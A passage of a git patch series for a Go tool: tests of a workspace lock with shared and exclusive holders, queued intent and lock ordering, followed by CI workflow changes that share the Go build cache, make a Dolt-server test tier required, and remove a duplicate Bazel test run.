*testing.T, mode Mode, opts Options, gates ...Gate) <-chan acqResult { + t.Helper() + ch := make(chan acqResult, 1) + go func() { + h, err := AcquireAll(context.Background(), mode, opts, gates...) + ch <- acqResult{h: h, err: err, at: time.Now()} + }() + return ch +} + +func waitQueued(t *testing.T, g Gate) { + t.Helper() + deadline := time.Now().Add(5 * time.Second) + for !g.ExclusiveQueued() { + if time.Now().After(deadline) { + t.Fatal("exclusive waiter never published intent") + } + time.Sleep(5 * time.Millisecond) + } +} + +func recv(t *testing.T, ch <-chan acqResult, what string) acqResult { + t.Helper() + select { + case r := <-ch: + if r.err != nil { + t.Fatalf("%s: %v", what, r.err) + } + t.Cleanup(func() { _ = r.h.Release() }) + return r + case <-time.After(10 * time.Second): + t.Fatalf("%s: no result within 10s (deadlock?)", what) + } + return acqResult{} +} + +// pending fails the test if the acquisition has already completed. +func pending(t *testing.T, ch <-chan acqResult, what string) { + t.Helper() + select { + case r := <-ch: + if r.h != nil { + _ = r.h.Release() + } + t.Fatalf("%s finished early (err %v)", what, r.err) + default: + } +} + +// The availability regression this design must not have: a long-lived +// shared holder (a --watch, an open editor, an embedder) plus an exclusive +// waiter that therefore cannot get in. NEW shared commands must still run — +// before the intent cap they failed for the exclusive waiter's whole budget. +func TestDoomedExclusiveWaiterDoesNotFailNewSharedCommands(t *testing.T) { + t.Run("final attempt ignores queue", func(t *testing.T) { + g, _ := testGate(t) + long := mustAcquire(t, g, Shared, Options{}) + t.Cleanup(func() { _ = long.Release() }) + x := acquireAsync(t, Exclusive, Options{Wait: 3 * time.Second, PollInterval: 20 * time.Millisecond, Reason: "test doomed init"}, g) + waitQueued(t, g) + + h, err := g.Acquire(context.Background(), Shared, Options{Wait: time.Second, PollInterval: 20 * time.Millisecond}) + if err != nil { + t.Fatalf("new shared command failed behind a doomed exclusive waiter: %v", err) + } + _ = h.Release() + if r := <-x; !errors.Is(r.err, ErrBusy) { + t.Fatalf("doomed exclusive waiter: %v, want ErrBusy", r.err) + } + }) + t.Run("intent dropped after maxIntentHold", func(t *testing.T) { + setMaxIntentHold(t, 300*time.Millisecond) + g, _ := testGate(t) + long := mustAcquire(t, g, Shared, Options{}) + t.Cleanup(func() { _ = long.Release() }) + x := acquireAsync(t, Exclusive, Options{Wait: 3 * time.Second, PollInterval: 20 * time.Millisecond}, g) + waitQueued(t, g) + time.Sleep(500 * time.Millisecond) + if g.ExclusiveQueued() { + t.Fatal("exclusive waiter still holds intent past maxIntentHold") + } + start := time.Now() + h, err := g.Acquire(context.Background(), Shared, Options{Wait: time.Second, PollInterval: 20 * time.Millisecond}) + if err != nil { + t.Fatalf("shared after the intent cap: %v", err) + } + _ = h.Release() + if waited := time.Since(start); waited > 200*time.Millisecond { + t.Errorf("shared acquirer still deferred %s after the intent was dropped", waited) + } + pending(t, x, "exclusive waiter") // still waiting, just no longer queueing others + _ = long.Release() + recv(t, x, "exclusive waiter after the long holder left") + }) +} + +// Lock order with intent across a gate set (a < b): a shared AcquireAll that +// holds a and defers on b's intent, while an exclusive waiter on b alone +// drains b. Nobody deadlocks, and the exclusive waiter goes first. +func TestIntentLockOrderSharedHoldsEarlierGate(t *testing.T) { + dir := t.TempDir() + a, _ := ForWorkspace(filepath.Join(dir, "a")) + b, _ := ForPhysicalRoot(filepath.Join(dir, "b")) + if gateKey(a.Path()) >= gateKey(b.Path()) { + t.Fatalf("test assumes %s sorts before %s", a.Path(), b.Path()) + } + hb := mustAcquire(t, b, Shared, Options{}) + x := acquireAsync(t, Exclusive, Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond}, b) + waitQueued(t, b) + s := acquireAsync(t, Shared, Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond}, a, b) + time.Sleep(150 * time.Millisecond) + if held, _, _ := a.ExclusiveHolder(); held { + t.Fatal("unexpected exclusive holder on a") + } + pending(t, s, "shared {a,b}") + pending(t, x, "exclusive {b}") + + _ = hb.Release() + xr := recv(t, x, "exclusive waiter on b") + time.Sleep(100 * time.Millisecond) + pending(t, s, "shared {a,b} while the exclusive holder has b") + xRelease := time.Now() + _ = xr.h.Release() + sr := recv(t, s, "shared {a,b} behind the queued exclusive") + if sr.at.Before(xRelease) { + t.Error("shared acquirer got b while the exclusive holder had it") + } +} + +// ...and the other direction: an exclusive AcquireAll holding a and the +// intent on b, a shared waiter on b alone, and a shared waiter on {a,b} +// blocked on a. All three complete once b's shared holder leaves. +func TestIntentLockOrderExclusiveHoldsEarlierGate(t *testing.T) { + dir := t.TempDir() + a, _ := ForWorkspace(filepath.Join(dir, "a")) + b, _ := ForPhysicalRoot(filepath.Join(dir, "b")) + hb := mustAcquire(t, b, Shared, Options{}) + x := acquireAsync(t, Exclusive, Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond}, a, b) + waitQueued(t, b) + if held, _, _ := a.ExclusiveHolder(); !held { + t.Fatal("exclusive waiter should hold a while queued on b") + } + s1 := acquireAsync(t, Shared, Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond}, b) + s2 := acquireAsync(t, Shared, Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond}, a, b) + time.Sleep(150 * time.Millisecond) + pending(t, s1, "shared {b}") + pending(t, s2, "shared {a,b}") + + _ = hb.Release() + xr := recv(t, x, "exclusive {a,b}") + _ = xr.h.Release() + recv(t, s1, "shared {b}") + recv(t, s2, "shared {a,b}") +} + +// An exhausted AcquireAll budget leaves later gates exactly one attempt, +// and queued intent on such a gate cannot fail the set (the gate is free). +func TestAcquireAllExhaustedBudgetFinalAttemptIgnoresIntent(t *testing.T) { + dir := t.TempDir() + a, _ := ForWorkspace(filepath.Join(dir, "a")) + b, _ := ForPhysicalRoot(filepath.Join(dir, "b")) + intent := b.tryTakeIntent("test queued on b") + if intent == nil { + t.Fatal("tryTakeIntent on b failed") + } + t.Cleanup(func() { b.releaseIntent(intent) }) + // a is held exclusively past the whole budget's midpoint and released + // only after the budget is spent, so b gets no budget at all. + ha := mustAcquire(t, a, Exclusive, Options{}) + time.AfterFunc(400*time.Millisecond, func() { _ = ha.Release() }) + _, err := AcquireAll(context.Background(), Shared, + Options{Wait: 300 * time.Millisecond, PollInterval: 10 * time.Millisecond}, a, b) + if !errors.Is(err, ErrBusy) { + t.Fatalf("a held past the budget: %v, want ErrBusy", err) + } + time.Sleep(200 * time.Millisecond) // a is free now + start := time.Now() + m, err := AcquireAll(context.Background(), Shared, + Options{Wait: 200 * time.Millisecond, PollInterval: 10 * time.Millisecond}, a, b) + if err != nil { + t.Fatalf("shared set with free gates and queued intent on b: %v", err) + } + _ = m.Release() + if waited := time.Since(start); waited < 150*time.Millisecond { + t.Errorf("b's queued intent was not honored before the final attempt (took %s)", waited) + } +} + +// Two exclusive waiters behind one shared holder: no deadlock, both get the +// gate in turn, and the intent is handed off and finally released. +func TestTwoExclusiveWaiters(t *testing.T) { + g, _ := testGate(t) + sh := mustAcquire(t, g, Shared, Options{}) + opts := Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond} + x1 := acquireAsync(t, Exclusive, opts, g) + x2 := acquireAsync(t, Exclusive, opts, g) + waitQueued(t, g) + time.AfterFunc(200*time.Millisecond, func() { _ = sh.Release() }) + + var second <-chan acqResult + var r acqResult + select { + case r = <-x1: + second = x2 + case r = <-x2: + second = x1 + case <-time.After(5 * time.Second): + t.Fatal("neither exclusive waiter got the gate") + } + if r.err != nil { + t.Fatalf("first exclusive waiter: %v", r.err) + } + time.Sleep(100 * time.Millisecond) + _ = r.h.Release() + r = recv(t, second, "second exclusive waiter") + _ = r.h.Release() + if g.ExclusiveQueued() { + t.Error("intent still held after both exclusive waiters finished") + } +} + +// The nested-bd escape hatch works through a real exec: a child whose +// environment names a live ancestor skips the queue; without it, it defers. +func TestInheritedHoldThroughSubprocess(t *testing.T) { + dir := t.TempDir() + g, err := ForWorkspace(filepath.Join(dir, ".beads")) + if err != nil { + t.Fatal(err) + } + intent := g.tryTakeIntent("test queued maintenance") + if intent == nil { + t.Fatal("tryTakeIntent failed") + } + t.Cleanup(func() { g.releaseIntent(intent) }) + + exe, err := os.Executable() + if err != nil { + t.Fatal(err) + } + run := func(extra ...string) string { + t.Helper() + cmd := exec.Command(exe, dir) + env := []string{"WORKSPACEGATE_HELPER=inherited-acquire"} + for _, kv := range bazeltest.ShardFreeEnv(os.Environ()) { + if !strings.HasPrefix(kv, InheritedHoldEnv+"=") { + env = append(env, kv) + } + } + cmd.Env = append(env, extra...) + out, err := cmd.Output() + if err != nil { + t.Fatalf("helper: %v (%s)", err, out) + } + return strings.TrimSpace(string(out)) + } + parse := func(out string) (bool, time.Duration) { + var inherited bool + var ms int64 + if _, err := fmt.Sscanf(out, "inherited=%t waited_ms=%d", &inherited, &ms); err != nil { + t.Fatalf("helper output %q: %v", out, err) + } + return inherited, time.Duration(ms) * time.Millisecond + } + + inh, waited := parse(run(fmt.Sprintf("%s=%d", InheritedHoldEnv, os.Getpid()))) + if !inh || waited > time.Second { + t.Errorf("child of a live shared holder: inherited=%v waited=%s, want true and no queueing", inh, waited) + } + inh, waited = parse(run()) + if inh || waited < 2*time.Second { + t.Errorf("unrelated child: inherited=%v waited=%s, want false and a full deferral", inh, waited) + } +} From 630eae9b0c74f9a2291a26ed2058c8e2ab790719 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 01:01:23 -0700 Subject: [PATCH 096/325] ci(pr): share restored GOCACHE with the native init credential step (#7227) pr-preflight-platforms' "Exercise native init gateway credential shell" step had no GOCACHE env, so it fell back to the runner's empty default cache and cold-compiled all of ./cmd/bd's test binary on every PR, right after the hook-timeout step had compiled the identical binary (same tags, same platform-default CGO) into the restored non-race cache. Job logs: 213s of a ~350s macos-latest leg, ~117s on Windows; on Linux the rerun with a shared cache is a relink only (~8s). - pr.yml: point that step, and the three Windows-only Go steps, at the restored non-race GOCACHE. - main.yml: the macOS test leg (the only macOS non-race seeder) now runs warm-non-race-cache.sh, so the PR macOS legs restore the test packages and test-only deps they compile, not just the non-test ./cmd/bd graph. - Policy tests: every run step in pr-preflight-platforms and check-doc-freshness-platforms must use the restored GOCACHE, and the macOS seeder must warm before it saves. No test selection, matrix, or gate wiring changes. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/main.yml | 13 +++++ .github/workflows/pr.yml | 14 ++++++ scripts/ci/test-init-gateway-credential.sh | 2 + scripts/ci/warm-non-race-cache.sh | 11 +++-- scripts/ci_workflow_test.go | 56 ++++++++++++++++++++++ 5 files changed, 92 insertions(+), 4 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 83873bfcc..4ff20e84e 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -770,6 +770,19 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go build -v -tags gms_pure_go ./cmd/bd + # Seeds the macOS non-race GOCACHE that pr.yml's pr-preflight-platforms + # and check-doc-freshness-platforms macOS legs restore with the test + # packages they actually compile (./cmd/bd's test variant and its + # test-only deps, ./scripts both tag sets, gitattributespolicy). The + # Build step above only compiles the non-test ./cmd/bd graph, so the PR + # legs otherwise compile every test-only dependency cold on each run. + # Same shared script as the Linux and Windows seeders. + - name: Warm non-race GOCACHE for macOS preflight/doc-freshness + if: matrix.os == 'macos-latest' + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: bash scripts/ci/warm-non-race-cache.sh + # Both lanes below pass -timeout=30m explicitly. ./cmd/bd has outgrown # `go test`'s 10m per-package default (see scripts/ci/pr-core.sh and # #6091), and when it trips the alarm the panic names whichever test was diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index ec4c044d4..5f308354e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1033,8 +1033,17 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd + # This step recompiles ./cmd/bd's test binary. It must share the restored + # GOCACHE with the hook-timeout step above (same tags, same platform + # default CGO_ENABLED, see the script's header) so it is a relink rather + # than a second cold compile: without GOCACHE here it fell back to the + # runner's empty default cache and cold-compiled all of ./cmd/bd on every + # PR (210-240s on macos-latest, ~120s on Windows; the leg's long pole). + # TestPRPreflightPlatformsRunStepsUseRestoredGoBuildCache pins this. - name: Exercise native init gateway credential shell shell: bash + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-init-gateway-credential.sh "$RUNNER_OS" - name: Exercise credential command fixtures on Windows @@ -1042,6 +1051,7 @@ jobs: shell: pwsh env: CGO_ENABLED: "0" + GOCACHE: ${{ runner.temp }}/go-cache/non-race run: | $go = (Get-Command go -CommandType Application -ErrorAction Stop | Select-Object -First 1).Source $hostInfo = @(& $go env GOHOSTOS GOOS) @@ -1078,11 +1088,15 @@ jobs: - name: Check benchmark environment scrubbing if: matrix.os == 'windows-latest' shell: bash + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test -tags gms_pure_go -count=1 -run '^(TestCleanEnvUsesHostKeySemantics|TestBenchmarkCommandBuildersStripDoltEnvOverrides)$' ./scripts/repro-dolt-prod-timeouts - name: Check shared environment key semantics if: matrix.os == 'windows-latest' shell: bash + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-windows-env-helpers.sh # F3: package-mcp and package-npm (and the detect job that fed them) moved diff --git a/scripts/ci/test-init-gateway-credential.sh b/scripts/ci/test-init-gateway-credential.sh index 1050552b6..dda6a9761 100755 --- a/scripts/ci/test-init-gateway-credential.sh +++ b/scripts/ci/test-init-gateway-credential.sh @@ -28,6 +28,8 @@ source "$repo_root/.buildflags" # second cold compile on macOS and Windows. Inheriting the default makes this # step incremental, and it also means the natively executed fixtures exercise # the same build of cmd/bd that actually ships on those platforms. +# Incremental only if the caller also shares GOCACHE with that earlier step: +# pr.yml points both at the restored non-race cache. go_executable="$(command -v go)" [[ "$go_executable" = /* && -x "$go_executable" ]] || { echo 'Go must resolve to an absolute executable' >&2; exit 1; diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index bfbed3c4a..1ad7f64d4 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -1,17 +1,20 @@ #!/usr/bin/env bash # F4.3/F7b: populate the non-race GOCACHE (GOCACHE must already point at the # restored/to-be-saved cache dir when this runs) with the compiled test -# binaries pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu -# legs need, without running any of the tests themselves (-o /dev/null, no +# binaries pr-preflight-platforms' and check-doc-freshness-platforms' legs +# need, without running any of the tests themselves (-o /dev/null, no # Dolt/test-env setup required). # -# Shared by two callers so they can never drift apart (F7b spec 4.2): +# Shared by every non-race seeder so they can never drift apart (F7b spec 4.2): # - main.yml's build-artifacts (ubuntu-latest / fork-PR path non-race save) # - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path # non-race save) +# - main.yml's test-windows (Windows non-race save) +# - main.yml's test macOS leg (macOS non-race save; pr.yml's macOS legs +# run on GitHub-hosted macos-latest for every PR) # # Package list mirrors exactly what pr.yml's check-doc-freshness-platforms and -# pr-preflight-platforms ubuntu legs compile: +# pr-preflight-platforms legs compile on every OS: # - ./cmd/bd (TestGeneratedHookTimeoutProcessBoundary) # - ./scripts, untagged (TestPRPreflight*, TestTestScriptPrebuiltBinaryContract) # - ./scripts, integration+gms_pure_go (TestDocFreshness*, TestRequiredSuiteContract) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index b1b9c6d76..1fc14668b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -660,6 +660,62 @@ func TestPRWorkflowRequiresNativeInitGatewayCredential(t *testing.T) { } } +// Every run step in the three-host preflight/doc-freshness jobs invokes Go, +// and the jobs restore a non-race GOCACHE precisely so those invocations are +// incremental. A run step without GOCACHE silently falls back to the runner's +// empty default cache: "Exercise native init gateway credential shell" did, +// and cold-compiled ./cmd/bd on every PR (210-240s of a ~370s macos-latest +// leg, ~120s on Windows) right after the hook-timeout step had compiled the +// same test binary into the restored cache. +func TestPRPreflightPlatformsRunStepsUseRestoredGoBuildCache(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + for _, jobName := range []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} { + job := workflow.job(t, jobName) + restore := job.step(t, "Restore non-race Go build cache") + if restore.With["path"] != goBuildCachePath("non-race") { + t.Errorf("%s restores the non-race cache to %q, want %q", jobName, restore.With["path"], goBuildCachePath("non-race")) + } + runSteps := 0 + for _, step := range job.Steps { + if strings.TrimSpace(step.Run) == "" { + continue + } + runSteps++ + assertGoCacheEnv(t, job, step.Name, "non-race") + assertStepsBefore(t, job, []string{restore.Name}, []string{step.Name}) + } + if runSteps == 0 { + t.Errorf("%s has no run steps", jobName) + } + } +} + +// main.yml's test job macOS leg is the only macOS non-race GOCACHE seeder for +// pr.yml's GitHub-hosted macOS legs. It must compile the same test packages +// those legs compile (warm-non-race-cache.sh, shared with the Linux and +// Windows seeders), not only the non-test ./cmd/bd graph its Build step does, +// and it must do so before the cache is saved. +func TestMainMacOSTestLegWarmsNonRaceGoBuildCache(t *testing.T) { + workflow := readCIWorkflow(t, "main.yml") + job := workflow.job(t, "test") + const name = "Warm non-race GOCACHE for macOS preflight/doc-freshness" + step := job.step(t, name) + if step.If != "matrix.os == 'macos-latest'" { + t.Errorf("%q if = %q, want the macOS leg only", name, step.If) + } + if step.ContinueOnError != nil && step.ContinueOnError != false { + t.Errorf("%q may not continue on error", name) + } + assertStepRunsExactly(t, job, name, "bash scripts/ci/warm-non-race-cache.sh") + assertGoCacheEnv(t, job, name, "non-race") + assertStepsBefore(t, job, []string{"Restore non-race Go build cache"}, []string{name}) + assertStepsBefore(t, job, []string{name}, []string{"Save non-race Go build cache"}) + save := job.step(t, "Save non-race Go build cache") + if !strings.Contains(save.If, "matrix.os == 'macos-latest'") || save.With["path"] != goBuildCachePath("non-race") { + t.Errorf("macOS non-race saver drifted: if=%q path=%q", save.If, save.With["path"]) + } +} + func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") From 15d74c08ff995e50eabcc3abf82d0c6047abe6ab Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 01:04:39 -0700 Subject: [PATCH 097/325] ci: require the cmd/bd Dolt-server tier (BAZEL_CMD_DOLT_REQUIRED=true) (#7226) Advisory since #7185. On the farm it passed on every PR run based on current main; its only failures (3) were branches predating #7219 and reproduced a real test bug that #7219 fixed. Flip the committed flag so CI Gate / Required enforces BAZEL_CMD_DOLT. Rollback: set it back to "false". Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 2 +- scripts/ci_workflow_test.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 5f308354e..e6a91fefa 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -59,7 +59,7 @@ env: # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts # its skip in modes skip and local. Committed, not a repo variable, for # the same reason as the flags above. - BAZEL_CMD_DOLT_REQUIRED: "false" + BAZEL_CMD_DOLT_REQUIRED: "true" jobs: diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 1fc14668b..2e93be201 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2695,7 +2695,7 @@ type bazelFlagGate struct { var bazelFlagGatedLanes = map[string]bazelFlagGate{ // The cmd/bd Dolt-server tier (the Dolt-gated cmd/bd tests no other lane // runs), advisory until its first clean runs. - bazelCmdDoltJobName: {id: "BAZEL_CMD_DOLT", flag: "BAZEL_CMD_DOLT_REQUIRED", want: "false"}, + bazelCmdDoltJobName: {id: "BAZEL_CMD_DOLT", flag: "BAZEL_CMD_DOLT_REQUIRED", want: "true"}, } // bazelFlagGateRun is the run-script fragment that adds a flag-gated lane's From ec72c8c56322a7e196b357bb67059d2e47061d30 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 01:19:47 -0700 Subject: [PATCH 098/325] ci(bazel): drop //cmd/bd:bd_test from the integration lane where the cmd/bd Dolt-server tier is required (#7230) bazel-integration (--config=integration) and bazel-cmd-dolt (--config=doltserver-cmd, //cmd/bd:bd_dolt_server_test) both run the integration-build cmd/bd bd_test; the second without BEADS_TEST_SKIP=dolt, so it is a superset. Once pr.yml requires bazel-cmd-dolt, the integration lane's bd_test run is a duplicate. bazel.yml gains a boolean workflow_call input, cmd-dolt-required (default false). When true, bazel-integration tests //... -//cmd/bd:bd_test. pr.yml passes it, and a policy test pins it to pr.yml's BAZEL_CMD_DOLT_REQUIRED (a `with:` cannot read env), so the drop only happens where ci-gate requires BAZEL_CMD_DOLT. bazel-farm.yml, nightly.yml, push and dispatch leave it unset and keep bd_test. While the flag is "false" (current main) nothing changes; with #7226's flip the input flips with it. Coverage: both lanes share the same `if:` (modes remote, fork-ro, fork-rw, cache; Dependabot included) and bazel-gate.sh accepts their skips in the same modes (skip, local). TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers pins that, the exact exclusion, the flag/input equality, the gate's conditional requirement, and that no other caller passes the input. Rollback: commit BAZEL_CMD_DOLT_REQUIRED "false" and cmd-dolt-required: false together in pr.yml. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 46 +++++++++++++- .github/workflows/pr.yml | 10 +++- engdocs/TESTING.md | 6 +- scripts/ci_workflow_test.go | 116 +++++++++++++++++++++++++++++++++++- 4 files changed, 173 insertions(+), 5 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index c0162bcdf..5813c62d5 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -27,7 +27,9 @@ # BAZEL_INTEGRATION, BAZEL_DOLTSERVER, BAZEL_PROXIED, BAZEL_SERVER_STORAGE); # bazel-cmd-dolt (the cmd/bd Dolt-server tier, BAZEL_CMD_DOLT) is advisory: # job-level continue-on-error, and pr.yml requires it only while its -# BAZEL_CMD_DOLT_REQUIRED flag is "true"; +# BAZEL_CMD_DOLT_REQUIRED flag is "true" (pr.yml then also passes +# cmd-dolt-required: true, and bazel-integration leaves //cmd/bd:bd_test, +# which bazel-cmd-dolt runs too, to it); # .github/scripts/bazel-gate.sh turns the rbe job's rbe-mode output into the # skips it accepts, so a lane skipped by its `if:` below passes and one that # should have run and failed, was cancelled or reported nothing fails the @@ -210,6 +212,22 @@ on: type: string required: false default: "on" + # true (pr.yml only, policy-tested to equal its committed + # BAZEL_CMD_DOLT_REQUIRED flag): pr.yml's ci-gate requires + # bazel-cmd-dolt, which runs the whole integration-tagged cmd/bd suite + # (//cmd/bd:bd_dolt_server_test wraps the integration build's + # bd_test), so bazel-integration leaves //cmd/bd:bd_test to it and + # each of those tests runs once. A boolean: on push and dispatch it is + # null, which is not == true, so bazel-farm.yml, nightly.yml, push and + # dispatch (bazel-cmd-dolt advisory there) keep bd_test in + # bazel-integration. + cmd-dolt-required: + description: > + true (pr.yml only) drops //cmd/bd:bd_test from bazel-integration: + the required bazel-cmd-dolt lane runs those tests. + type: boolean + required: false + default: false build-artifact-name: description: > Name of the uploaded bd artifact (ci-build-artifacts layout). pr.yml @@ -1178,6 +1196,17 @@ jobs: # which no run here has. check_testcases.py still catches a target or # shard that ran no tests. pr.yml's gate requires it (BAZEL_INTEGRATION) # on same-repo PRs; see the header. + # Exactly-once cmd/bd: where the caller says bazel-cmd-dolt is required + # (inputs.cmd-dolt-required true: pr.yml while its + # BAZEL_CMD_DOLT_REQUIRED is "true"), the target set is //... minus + # //cmd/bd:bd_test. bazel-cmd-dolt has this job's `if:`, so it runs in + # every mode this one does (remote, fork-ro, fork-rw, cache; Dependabot + # too), bazel-gate.sh accepts the two lanes' skips in the same modes, and + # its //cmd/bd:bd_dolt_server_test runs that same integration-build + # bd_test without BEADS_TEST_SKIP=dolt (a superset: the skip only skips). + # Rollback: commit BAZEL_CMD_DOLT_REQUIRED "false" and pr.yml's + # cmd-dolt-required: false together (policy-tested equal); bd_test is + # back here on the next run. bazel-integration: name: integration # Remote (modes remote, fork-ro, fork-rw), or local with the read-only @@ -1227,15 +1256,26 @@ jobs: # make Bazel restart the build ("Lost inputs"), and ~30 with the cache # closed (the farm's kill switch: everything local, cold), which must # still fit so closing the cache does not turn fork PRs red. + # Where bazel-cmd-dolt is required, //cmd/bd:bd_test is excluded (see + # above): on a PR that changes cmd/bd or what it imports, its race + # link and 16 shards were this step's last ~2-3.5 minutes (runs of + # 2026-10-05: 215-314s wall, 113-208s of it after every other test + # had finished). - name: bazel test //... --config=integration id: test timeout-minutes: 75 + env: + EXCLUDE_TARGETS: ${{ inputs.cmd-dolt-required == true && '-//cmd/bd:bd_test' || '' }} run: | set -o pipefail start=$(date +%s) rc=0 + if [[ -n "$EXCLUDE_TARGETS" ]]; then + echo "bazel-cmd-dolt is required: excluding $EXCLUDE_TARGETS (it runs there)" | tee -a "$GITHUB_STEP_SUMMARY" + fi bazel test //... --config=integration \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" @@ -1631,7 +1671,9 @@ jobs: # call's aggregate result (BAZEL), and pr.yml's ci-gate requires the # lane's own result (BAZEL_CMD_DOLT) only while pr.yml's committed # BAZEL_CMD_DOLT_REQUIRED flag is "true" (scripts/ci_workflow_test.go, - # TestBazelCmdDoltJob). + # TestBazelCmdDoltJob); pr.yml then passes cmd-dolt-required: true and + # this lane is the integration build's only bd_test run + # (TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers). bazel-cmd-dolt: name: cmd/bd Dolt-server tier needs: rbe diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index e6a91fefa..5e844cbed 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -58,7 +58,12 @@ env: # BAZEL_CMD_DOLT result. "true" adds BAZEL_CMD_DOLT to CI_GATE_REQUIRED in # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts # its skip in modes skip and local. Committed, not a repo variable, for - # the same reason as the flags above. + # the same reason as the flags above. The `bazel` job's cmd-dolt-required + # input must equal it (a `with:` cannot read env; policy-tested): "true" + # also drops //cmd/bd:bd_test from bazel-integration, because the required + # lane runs the same integration-build bd_test without the dolt skip, so + # each cmd/bd test runs once. Rollback: commit "false" here and false in + # that input together; bazel-integration runs bd_test again on the next run. BAZEL_CMD_DOLT_REQUIRED: "true" jobs: @@ -2295,6 +2300,9 @@ jobs: with: build-artifact-name: bazel-ci-build-artifacts integration: "on" + # Must equal BAZEL_CMD_DOLT_REQUIRED (top of this file; policy-tested): + # true leaves //cmd/bd:bd_test to the then-required bazel-cmd-dolt. + cmd-dolt-required: true # F3: only pr.yml opts in; the package-mcp/package-npm jobs run inside # this call, needing only its rbe job. package-gates: "on" diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index ac3d6bed4..2bff6b677 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -130,7 +130,11 @@ init and store-backed suites) that every other lane skips with `--config=integration`'s build, passes the binary no test selection (the Go binary shards itself over every top-level test, 16 shards), and runs where the integration lane runs (remote, or with the read-only cache). pr.yml's -gate requires it once `BAZEL_CMD_DOLT_REQUIRED` is `"true"`. Locally: +gate requires it once `BAZEL_CMD_DOLT_REQUIRED` is `"true"`; pr.yml then +also passes bazel.yml `cmd-dolt-required: true`, and the PR's +`bazel-integration` lane runs `//... -//cmd/bd:bd_test`, so each cmd/bd +integration-build test runs once (push, nightly and bazel-farm runs keep +`bd_test` in the integration lane). Locally: `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd`. An ambient `BEADS_DOLT_SERVER_PORT` or `BEADS_DOLT_PORT` is never honored by diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 2e93be201..abae972b2 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2813,6 +2813,10 @@ var bazelPRCallWith = map[string]string{ // F3: only pr.yml opts in; bazel-farm.yml and nightly.yml keep the // default "off" (TestBazelGateSimulation's other callers). "package-gates": "on", + // Mirrors pr.yml's BAZEL_CMD_DOLT_REQUIRED (a `with:` cannot read env): + // true leaves //cmd/bd:bd_test to the then-required bazel-cmd-dolt + // (TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers). + "cmd-dolt-required": bazelFlagGatedLanes[bazelCmdDoltJobName].want, } // The call's aggregate result (needs.bazel.result, through bazel-gate.sh). @@ -4798,7 +4802,8 @@ func TestBazelIntegrationJob(t *testing.T) { t.Errorf("%s timeout-minutes = %d, want above the test step's %d by at most 15", bazelIntegJobName, job.TimeoutMinutes, test.TimeoutMinutes) } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") - const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + // EXCLUDE_TARGETS: 